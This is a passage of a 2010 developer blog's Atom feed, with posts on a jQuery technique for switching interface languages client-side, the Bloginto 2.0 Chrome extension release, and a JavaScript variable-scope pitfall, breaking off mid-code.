type='application/atom+xml' href='http://www.martani.net/feeds/5562831237898301788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/08/how-to-use-new-twitter-retweet-button.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5562831237898301788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5562831237898301788'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/08/how-to-use-new-twitter-retweet-button.html' title='How To Use the New Twitter Retweet Button in Blogger'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/THZykwYilII/AAAAAAAACcg/65aScKVVlkk/s72-c/retweet_thumb%5B7%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-3799233516526428499</id><published>2010-08-14T16:44:00.002+02:00</published><updated>2010-08-22T15:03:57.135+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><title type='text'>Multilingual Website Interface on the Fly With jQuery</title><content type='html'>Applying a multilingual interface on your webpages and allowing the change at the client side without the need for a server postback has never been easier using the technique I’ll describe in this post.&lt;br /&gt;While developing &lt;a href="http://www.martani.net/2010/08/bloginto-20-is-here-with-lot-of.html" target="_blank"&gt;Bloginto&lt;/a&gt;, I came across the situation of implementing an English-Arabic-French interface with the possibility to change the language on the fly (on the client side), so I used a trick so close to &lt;a href="http://www.mysuperiorgames.com/resources.html" target="_blank"&gt;culture resource files&lt;/a&gt; in the .NET.&lt;br /&gt;My first priority was to write the minimum of code using jQuery, and as you will see, it is *really* minimal.&lt;br /&gt;&lt;h3&gt;1. Preparing the resources for the language&lt;/h3&gt;We will encapsulate the language resources with Javascript arrays, here is an example:&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:86d04b94-916a-4652-aaa7-d5b079e20b5d" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;function&lt;/span&gt; getLanguageResources() {&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;var&lt;/span&gt; fr = &lt;span style="color: blue;"&gt;new&lt;/span&gt; Array(); &lt;span style="color: blue;"&gt;var&lt;/span&gt; en = &lt;span style="color: blue;"&gt;new&lt;/span&gt; Array();&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fr[&lt;span style="color: maroon;"&gt;'settings'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;"paramètres"&lt;/span&gt;; en[&lt;span style="color: maroon;"&gt;'settings'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;"settings"&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fr[&lt;span style="color: maroon;"&gt;'default_feed'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;"Flux par défaut"&lt;/span&gt;; en[&lt;span style="color: maroon;"&gt;'default_feed'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;"Default feed"&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fr[&lt;span style="color: maroon;"&gt;'hidden'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;"Masquer"&lt;/span&gt;; en[&lt;span style="color: maroon;"&gt;'hidden'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;" Hidden"&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fr[&lt;span style="color: maroon;"&gt;'save_settings'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;"Enregistrer les paramètres"&lt;/span&gt;; en[&lt;span style="color: maroon;"&gt;'save_settings'&lt;/span&gt;] = &lt;span style="color: maroon;"&gt;"Save settings"&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;var&lt;/span&gt; resources = &lt;span style="color: blue;"&gt;new&lt;/span&gt; Array();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;resources[&lt;span style="color: maroon;"&gt;'fr'&lt;/span&gt;] = fr;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;resources[&lt;span style="color: maroon;"&gt;'en'&lt;/span&gt;] = en;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;return&lt;/span&gt; resources;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;strong&gt;getLanguageResources&lt;/strong&gt; function returns an array that contains an associative key/value arrays of the desirable languages, notice how the same key is used for the different translations.&lt;br /&gt;&lt;h3&gt;2. Preparing the HTML markup &lt;/h3&gt;We need to put placeholders for the multilingual text to show in the markup, I choose a &lt;strong&gt;&amp;lt;span&amp;gt;&lt;/strong&gt; tag here, but obviously you can use whatever elements fits best. The trick is to have all these multilingual spans use the same &lt;em&gt;name&lt;/em&gt; attribute (this is not a necessity neither, you can use whatever attribute you wish), and have them use another attribute, for example &lt;em&gt;caption&lt;/em&gt; which value is the key of the text to show in the resource arrays.&lt;br /&gt;We will also add two buttons to test the language change, here is the final markup :&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:faf5d12e-085c-4a57-9454-d6d243bcd23a" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 300px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;input&lt;/span&gt; &lt;span style="color: red;"&gt;type&lt;/span&gt;&lt;span style="color: blue;"&gt;="radio"&lt;/span&gt; &lt;span style="color: red;"&gt;id&lt;/span&gt;&lt;span style="color: blue;"&gt;="radioEnglish"&lt;/span&gt; &lt;span style="color: red;"&gt;name&lt;/span&gt;&lt;span style="color: blue;"&gt;="radio-language"&lt;/span&gt; &lt;span style="color: red;"&gt;value&lt;/span&gt;&lt;span style="color: blue;"&gt;="en"/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;label&lt;/span&gt; &lt;span style="color: red;"&gt;for&lt;/span&gt;&lt;span style="color: blue;"&gt;="radioEnglish"&amp;gt;&lt;/span&gt;English&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;label&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;input&lt;/span&gt; &lt;span style="color: red;"&gt;type&lt;/span&gt;&lt;span style="color: blue;"&gt;="radio"&lt;/span&gt; &lt;span style="color: red;"&gt;id&lt;/span&gt;&lt;span style="color: blue;"&gt;="radioFrench"&lt;/span&gt; &lt;span style="color: red;"&gt;name&lt;/span&gt;&lt;span style="color: blue;"&gt;="radio-language"&lt;/span&gt; &lt;span style="color: red;"&gt;value&lt;/span&gt;&lt;span style="color: blue;"&gt;="fr"/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;label&lt;/span&gt; &lt;span style="color: red;"&gt;for&lt;/span&gt;&lt;span style="color: blue;"&gt;="radioFrench"&amp;gt;&lt;/span&gt;Français&lt;span style="color: blue;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;label&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;br&lt;/span&gt;&lt;span style="color: blue;"&gt;/&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;Text for : settings : &lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt; &lt;span style="color: red;"&gt;name&lt;/span&gt;&lt;span style="color: blue;"&gt;="lbl"&lt;/span&gt; &lt;span style="color: red;"&gt;caption&lt;/span&gt;&lt;span style="color: blue;"&gt;="settings"&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;br&lt;/span&gt;&lt;span style="color: blue;"&gt;/&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Text for : default_feed : &lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt; &lt;span style="color: red;"&gt;name&lt;/span&gt;&lt;span style="color: blue;"&gt;="lbl"&lt;/span&gt; &lt;span style="color: red;"&gt;caption&lt;/span&gt;&lt;span style="color: blue;"&gt;="default_feed"&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;br&lt;/span&gt;&lt;span style="color: blue;"&gt;/&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;Text for : hidden : &lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt; &lt;span style="color: red;"&gt;name&lt;/span&gt;&lt;span style="color: blue;"&gt;="lbl"&lt;/span&gt; &lt;span style="color: red;"&gt;caption&lt;/span&gt;&lt;span style="color: blue;"&gt;="hidden"&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;br&lt;/span&gt;&lt;span style="color: blue;"&gt;/&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Text for : save_settings : &lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt; &lt;span style="color: red;"&gt;name&lt;/span&gt;&lt;span style="color: blue;"&gt;="lbl"&lt;/span&gt; &lt;span style="color: red;"&gt;caption&lt;/span&gt;&lt;span style="color: blue;"&gt;="save_settings"&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;span&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: maroon;"&gt;b&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;br&lt;/span&gt;&lt;span style="color: blue;"&gt;/&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Notice how the radio buttons for changing the language have &lt;em&gt;values&lt;/em&gt; which are the keys of the resource language (the arrays).&lt;br /&gt;&lt;h3&gt;3. jQuery magic&lt;/h3&gt;Now we will apply some jQuery code to associate the &lt;strong&gt;spans&lt;/strong&gt; with their corresponding text from the language selected by the radio buttons&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:fd63ff31-73ee-4103-8cde-7561ca48a8cf" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 300px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;function&lt;/span&gt; changeLanguage(lang) {&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;var&lt;/span&gt; langResources = getLanguageResources()[lang];&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(&lt;span style="color: maroon;"&gt;"span[name='lbl']"&lt;/span&gt;).each(&lt;span style="color: blue;"&gt;function&lt;/span&gt; (i, elt) {&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(elt).text(langResources[$(elt).attr(&lt;span style="color: maroon;"&gt;"caption"&lt;/span&gt;)]);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;/li&gt;&lt;li&gt;}&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;$(document).ready(&lt;span style="color: blue;"&gt;function&lt;/span&gt; () {&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(&lt;span style="color: maroon;"&gt;"input[name='radio-language']"&lt;/span&gt;).click(&lt;span style="color: blue;"&gt;function&lt;/span&gt; () {&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;changeLanguage($(&lt;span style="color: blue;"&gt;this&lt;/span&gt;).val());&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;/li&gt;&lt;li&gt;});&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Here we attach a click event to the radio buttons, and we simply call the function &lt;strong&gt;changeLanguage&lt;/strong&gt; whenever a button is clicked, we pass the value of the “&lt;em&gt;value&lt;/em&gt;” attribute of that button to the function which represents the specified language (‘fr’ or ‘en’)&lt;br /&gt;The &lt;strong&gt;changeLanguage&lt;/strong&gt; function loads the corresponding array of the languages from the &lt;strong&gt;getLanguageResources&lt;/strong&gt; function, then iterate through every element that has the attribute &lt;em&gt;name&lt;/em&gt; “&lt;em&gt;lbl&lt;/em&gt;”, and change its text to the value in the resource language array which key is the &lt;em&gt;caption&lt;/em&gt; of that specified element (&lt;em&gt;span&lt;/em&gt;), pretty simple!&lt;br /&gt;As you can see, all the magic is done with 2 lines of jQuery, if you guessed that the “.attr()” method will do the same instead of “.each()” then you’ve guessed wrong, attr() applies only to the first element in the selection set. See .attr() specification &lt;a href="http://api.jquery.com/attr/" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;h3&gt;4. Demo &lt;/h3&gt;Her is a working demo &lt;a href="http://jsfiddle.net/uUgWD/" target="_blank"&gt;http://jsfiddle.net/uUgWD/&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-3799233516526428499?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/3799233516526428499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/08/multilingual-website-interface-on-fly.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3799233516526428499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3799233516526428499'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/08/multilingual-website-interface-on-fly.html' title='Multilingual Website Interface on the Fly With jQuery'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-8255216202921690690</id><published>2010-08-08T05:05:00.001+02:00</published><updated>2010-08-08T05:05:29.882+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bloginto'/><title type='text'>Bloginto 2.0 is here, with a lot of improvements</title><content type='html'>&lt;blockquote&gt; &lt;p&gt;Bloginto is a Google Chrome extension that brings feeds from the Digg like websites called Bloginy for both the Algerian &lt;a href="http://bloginy.com" target="_blank"&gt;http://bloginy.com&lt;/a&gt; and the Moroccan &lt;a href="http://bloginy.ma" target="_blank"&gt;http://bloginy.ma&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Today I’m pleased to announce that the version 2.0 of the extension is here, you can install it from &lt;a title="https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak" href="https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak" target="_blank"&gt;https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak&lt;/a&gt; or update it from the settings section in Google Chrome if you have already installed the previous version.&lt;/p&gt; &lt;p&gt;This new version &lt;strong&gt;$(‘was’).completely(‘jQuery’, ‘fied’)&lt;/strong&gt;, cleaner and reliable code has been introduced to make sure handling all the error cases by showing pretty informative messages to the user. Enough talking, here are the new features :&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TF4e3PTKMXI/AAAAAAAACb0/3Zt31stA6aI/s1600-h/settings%20page%5B3%5D.png"&gt;&lt;img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" class="wlDisabledImage" title="settings page" border="0" alt="settings page" src="http://lh5.ggpht.com/_MIqc395dv38/TF4e39IHYrI/AAAAAAAACb4/Nbph_5PZLU8/settings%20page_thumb%5B1%5D.png?imgmax=800" width="382" height="290"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;As you can see from the settings page :&lt;/p&gt; &lt;ul&gt; &lt;li&gt;You can choose the default view, the Algerian or the Moroccan Bloginy, this has been present in the previous versions, but it has an impact on the notifications of the unread and new arriving feeds, you will notified only when feeds from the default feed arrive.  &lt;li&gt;The notification themselves &lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TF4e4Rp5ljI/AAAAAAAACb8/tY0qDpZrYHU/s1600-h/notifications%5B2%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px" class="wlDisabledImage" title="notifications" border="0" alt="notifications" src="http://lh3.ggpht.com/_MIqc395dv38/TF4e5LN8ZzI/AAAAAAAACcA/1a_UfEn3xds/notifications_thumb.png?imgmax=800" width="41" height="35"&gt;&lt;/a&gt;: the number shows the unread feeds count, it will refresh automatically and change when you read feeds or new ones become available.  &lt;li&gt;Because you can vote on articles directly from the extension now, there is a section where you can save your user name and password for both, Bloginy.com and Bloginy.ma.  &lt;li&gt;Timeouts for the request, you should make this bigger if you have slow internet, and the feeds timeout, this is the frequency of checking new articles on the website.  &lt;li&gt;While reading feeds, you can mark them as read, and the extension offer you to hide read feeds, or just mark them with a different color.  &lt;li&gt;And most of all, it is now multilingual, you can change the language from &lt;strong&gt;Arabic&lt;/strong&gt; to &lt;strong&gt;French&lt;/strong&gt; to &lt;strong&gt;English&lt;/strong&gt;, and it works on the fly (God bless jQuery), if you need to know how this is done, here is the code that does it all :p  &lt;blockquote&gt; &lt;p&gt;&lt;em&gt;$("span[name='lbl']").each(function(i, elt){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(elt).text(l[$(elt).attr("caption")]);&lt;br&gt;});&lt;/em&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/p&gt; &lt;p&gt;where l is the resources language;&lt;/p&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/TF4e5-2ucgI/AAAAAAAACcE/-bIp5bmCkNE/s1600-h/ar%20settings%5B12%5D%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" class="wlDisabledImage" title="ar settings[12]" border="0" alt="ar settings[12]" src="http://lh3.ggpht.com/_MIqc395dv38/TF4e6tCaAUI/AAAAAAAACcI/puji1HueoXY/ar%20settings%5B12%5D_thumb%5B1%5D.png?imgmax=800" width="367" height="303"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The extension itself allows the marking/hiding of the read posts, live voting and twittering the posts directly from the extension. You can toggle hidden posts by clicking on the button at the top. To vote, you simply click on the “like” icon, to twitter… well you click on the twitter icon and to mark a post as read, you click on the description of the post.&lt;/p&gt; &lt;p&gt;Finally, I hope Bloginy will get a little active after making the voting available directly and eventually allowing multiple languages that may match the users tastes.&lt;/p&gt; &lt;p&gt;The code source is available on Google Code at this address : &lt;a href="https://code.google.com/p/bloginto-chrome/"&gt;https://code.google.com/p/bloginto-chrome/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;$(‘feed &amp;gt; back’).is({always: ‘welcome ;)’}) ;&lt;br&gt;&lt;/strong&gt;Ramadan Mubarak for all, and that’s my present for you guys to spend more time “engaged” with the community.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/TF4e7XDN2ZI/AAAAAAAACcM/7SZgHWc4lxU/s1600-h/main%20screen%5B6%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" class="wlDisabledImage" title="main screen" border="0" alt="main screen" src="http://lh5.ggpht.com/_MIqc395dv38/TF4e8vVwH0I/AAAAAAAACcQ/52m7Sw4lhR8/main%20screen_thumb%5B4%5D.png?imgmax=800" width="272" height="359"&gt;&lt;/a&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/TF4e9KpH23I/AAAAAAAACcU/RWO1S8_X64I/s1600-h/error%20notifications%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" class="wlDisabledImage" title="error notifications" border="0" alt="error notifications" src="http://lh6.ggpht.com/_MIqc395dv38/TF4e-E5XqwI/AAAAAAAACcY/9BkQHHKfmyE/error%20notifications_thumb%5B1%5D.png?imgmax=800" width="280" height="362"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-8255216202921690690?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/8255216202921690690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/08/bloginto-20-is-here-with-lot-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8255216202921690690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8255216202921690690'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/08/bloginto-20-is-here-with-lot-of.html' title='Bloginto 2.0 is here, with a lot of improvements'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/TF4e39IHYrI/AAAAAAAACb4/Nbph_5PZLU8/s72-c/settings%20page_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-4755213407086339072</id><published>2010-08-03T01:18:00.001+02:00</published><updated>2010-08-03T01:21:06.684+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><title type='text'>Javascript and Variable Scope CAPTCHAs</title><content type='html'>&lt;p&gt;Today I have been doing some Javascript in order to finish some details to the &lt;a href="https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak" target="_blank"&gt;Bloginto&lt;/a&gt; extension for Chrome, and run into a situation where two functions use a variable named&lt;strong&gt; i&lt;/strong&gt; inside a for loop without explicitly defining it with the &lt;strong&gt;var&lt;/strong&gt; keyword, here is an example :&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:e40e4ef3-4f75-4dab-a463-540d9a189e38" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;function&lt;/span&gt; funA(){&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;            &lt;span style="color:#0000ff"&gt;var&lt;/span&gt; arrA = [&lt;span style="color:#800000"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;, &lt;span style="color:#800000"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;, &lt;span style="color:#800000"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;];&lt;/li&gt; &lt;li&gt;            &lt;span style="color:#0000ff"&gt;for&lt;/span&gt;(i=0; i&amp;lt;arrA.length; i++);&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                &lt;span style="color:#006400"&gt;//Do whatever you wish here&lt;/span&gt;&lt;/li&gt; &lt;li&gt;            &lt;span style="color:#0000ff"&gt;return&lt;/span&gt; &lt;span style="color:#0000ff"&gt;false&lt;/span&gt;;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;}&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;function&lt;/span&gt; funB(arrB){&lt;/li&gt; &lt;li&gt;            &lt;span style="color:#0000ff"&gt;for&lt;/span&gt;(i=0; i&amp;lt;arrB.length; i++){&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;                &lt;span 